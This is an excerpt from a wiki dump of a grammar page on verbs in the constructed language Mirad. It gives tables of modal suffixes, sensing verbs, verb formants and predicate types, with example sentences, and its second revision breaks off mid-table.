| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>bvwavre20qtgjm6lxzejfbjhun5ure2</sha1>
    </revision>
    <revision>
      <id>4670492</id>
      <parentid>4670491</parentid>
      <timestamp>2026-09-16T18:49:24Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Subject-directed vs. Patient-directed Verbs */</comment>
      <origin>4670492</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135735" sha1="3pcd2pzygwq7xpuwdvt8kgjyjwqwl3r" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
